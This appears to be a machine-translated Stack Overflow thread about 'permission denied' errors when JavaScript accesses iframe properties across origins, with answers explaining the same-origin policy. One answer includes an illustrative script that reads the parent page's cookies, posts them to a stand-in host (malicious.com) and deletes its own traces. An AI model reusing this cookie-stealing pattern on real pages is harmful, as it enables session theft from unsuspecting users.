2013-05-22 206 views
4

我遇到訪問來自不同iframe的屬性的問題。我不斷收到拒絕訪問屬性錯誤的權限。我看到有人問他們是否多次使用file:///,但從來沒有人(除了我),以致永遠不會得到解決。JavaScript權限被拒絕訪問屬性

我不是在網上做這個。我的所有幀的src都在我硬盤上的同一個文件中。我想從對象的某些屬性我在其他幀

function fill_with_pairs() 
{ 
    for (var x = 0 ; x < setLength ; x++) 
    { 
     var tempSet = sets[x]; 
     var tempNums = tempSet.wb_numbers; 
     if (top.num_frame.active_list.active_nums[x].checked) 
     { 
      for (var y = 0 ; y < 4 ; y++) 
      { 
       var thesePairs = tempNums[y]; 
       var pairBase = numbersX[thesePairs]; 
       for (var z = y+1 ; z < 5 ; z++) 
       { 
        var pairKey = tempNums[z]; 
        pairBase[z]++; 
       } 
      } 
     } 
    } 
} 
+1

倒不如顯示你嘗試,而不是讓人們認爲什麼可能出了錯您的實際代碼..! –

+1

iframe未指向與您的網站具有相同域名,協議和端口的位置,因此您無法與其互動。這是一個瀏覽器限制。 – Blender

+0

我有類似的問題,使用Chrome瀏覽器和訪問'file:///'頁面(但不是iframe)我的解決方案是用'--allow-file-access-from-files'啓動Chrome。你的旅費可能會改變。 – HBP

回答

2

試圖訪問一個文件的屬性在不同的領域(例如,在iframe元素)任何的JavaScript創建違反稱爲安全觀same origin policy

在計算中,同源策略是許多瀏覽器端的編程語言的一個重要的安全理念 ,如 的JavaScript。該政策允許在來自同一個站點始發 網頁運行腳本 - 方案,主機名和端口的組合 數1 - 訪問對方的方法和屬性,沒有 具體限制,而是跨越阻止訪問大多數的方法和 屬性在不同網站上的頁面。

10

下面

<iframe src="http://example.com" onload="test(this)"></iframe> 
<script> 
function test(frame) 
{ 
    var cDoc = frame.contentDocument; 
} 
</script> 

代碼拋出

Unsafe JavaScript attempt to access frame with URL http://example.iana.org from frame with URL {your URL}. Domains, protocols and ports must match. 

的協議必須匹配(例如:主窗口和的IFRAME協議必須是file:http:僅舉幾個)。

域必須相符(例如:主窗口和的IFRAME域必須example.com

端口必須匹配(例如:主窗口和的IFRAME端口必須808080


這是爲了防止用戶從惡意站點執行代碼,如果這些界限沒有到位,可能會輕易地從不知情的用戶那裏竊取數據。

的惡意JavaScript代碼的一個例子:

<script id="loadScript"> 
window.onload = function() 
{ 
    //grab parent to iframe 
    var parentWindow = window.parent.window; 
    //grab cookies from parent window 
    var cookies = parentWindow.document.cookie; 
    //send cookies off to malicious site 
    var form = document.createElement("form"); 
    var inp = document.createElement("input"); 
    form.action="http://malicious.com/maliciousAd.php"; 
    form.method="post"; 
    inp.value=cookies; 
    inp.name="cookies"; 
    form.appendChild(inp); 
    form.submit(); 
    //remove traces of malicious code 
    document.body.removeChild(document.getElementById("loadScript")) 
} 
</script> 
相關問題